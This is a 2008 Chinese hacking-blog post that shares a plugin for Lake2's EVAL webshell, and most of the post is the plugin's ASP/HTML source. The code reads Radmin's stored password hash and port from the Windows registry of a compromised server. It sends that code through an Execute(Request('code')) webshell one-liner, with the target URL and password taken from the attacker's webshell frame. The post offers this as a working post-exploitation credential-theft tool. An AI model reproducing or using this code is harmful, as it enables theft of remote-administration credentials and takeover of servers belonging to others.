RadminReader For Lake2-EVAL

    [阴 February 23, 2008 11:14 | by ]
文章作者:Bin
信息来源:邪恶八进制信息安全团队(www.eviloctal.com
注意:本软件首发Bin'Blog论坛,后由原创作者友情提交到邪恶八进制信息安全团队。

  大家都用过Lake2的EVAL版SEHLL吧!最近RADMIN貌似挺火的,我也来凑凑热闹,做了一个读取Radmin密文还有端口的插件。已经做了进制转换!

Readme:
1 下载lake2 EVAL 版SHELL.
2 将RadminReader.htm 保存到FUNC目录中.
3 添加lake2eval.htm中的下拉表Select属性
RadminReader

PS:程序需要WSCRIPT.SHELL的支持!为了方便读取,已经将读取到的数据做了进制转换!

代码如下:
<link rel="stylesheet" type="text/css" href="lake2.css">
<div align="center">Radmin Reader ==> <A HREF="http://www.winshell.cn.cn" target=_blank>Bin</A> ==> <A HREF="mailto:badwolf@qq.com">:)</A><hr>
</div>
<form name="xform" method="post" target="_blank">
<textarea name="code" cols="80" rows="20" style="display:none">
'========================================Main======================================
Set WSH= Server.CreateObject("WSCRIPT.SHELL")
RadminPath="HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\"
Parameter="Parameter"
Port = "Port"
ParameterArray=WSH.REGREAD(RadminPath & Parameter )
Response.write "Radmin Parameter,Port Reader :)==>Bin<br><br>"
Response.write Parameter&":"
'=========== badwolf_ReadPassWord_www.winshell.cn =========
If IsArray(ParameterArray) Then
For i = 0 To UBound(ParameterArray)
If  Len (hex(ParameterArray(i)))=1 Then
strObj = strObj & "0"&CStr(Hex(ParameterArray(i)))
Else
strObj = strObj & Hex(ParameterArray(i))
End If
Next
response.write strobj
Else
response.write "Error! Can't Read!"
End If
Response.write "<br><br>"
'=========== badwolf_ReadPort_www.winshell.cn =========
PortArray=WSH.REGREAD(RadminPath & Port )
If IsArray(PortArray) Then
Response.write Port &":"
Response.write hextointer(CStr(Hex(PortArray(1)))&CStr(Hex(PortArray(0))))
Else
Response.write "Error! Can't Read!"
End If
'=======================================hex TO int===================================
Function hextointer(strin)
Dim i, j, k, result
result = 0
For i = 1 To Len(strin)
If Mid(strin, i, 1) = "f" Or Mid(strin, i, 1) ="F" Then
j = 15
End If
If Mid(strin, i, 1) = "e" Or Mid(strin, i, 1) = "E" Then
j = 14
End If
If Mid(strin, i, 1) = "d" Or Mid(strin, i, 1) = "D" Then
j = 13
End If
If Mid(strin, i, 1) = "c" Or Mid(strin, i, 1) = "C" Then
j = 12
End If
If Mid(strin, i, 1) = "b" Or Mid(strin, i, 1) = "B" Then
j = 11
End If
If Mid(strin, i, 1) = "a" Or Mid(strin, i, 1) = "A" Then
j = 10
End If
If Mid(strin, i, 1) <= "9" And Mid(strin, i, 1) >= "0" Then
j = CInt(Mid(strin, i, 1))
End If
For k = 1 To Len(strin) - i
j = j * 16
Next
result = result + j
Next
hextointer = result
End Function
'====================================== End ======================================
</textarea>
<PRE>
&lt;%
<script>
document.write(document.xform.code.innerHTML);</script>
%&gt;
</PRE>
<hr>
<input type="hidden" name="china" value='Execute(&quot;Execute(Request(&quot;&quot;code&quot;&quot;))&quot;)'>
</form>
<script>
function RUNonclick(){
document.xform.china.name = parent.pwd.value;
document.xform.action = parent.url.value;
document.xform.submit();
}
</script>

Tools | Comments(0) | Trackbacks(0) | Reads(7755)
Add a comment
Emots
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
Enable HTML
Enable UBB
Enable Emots
Hidden
Nickname   Password   Optional
Site URI   Email   [Register]
               

Security code Case insensitive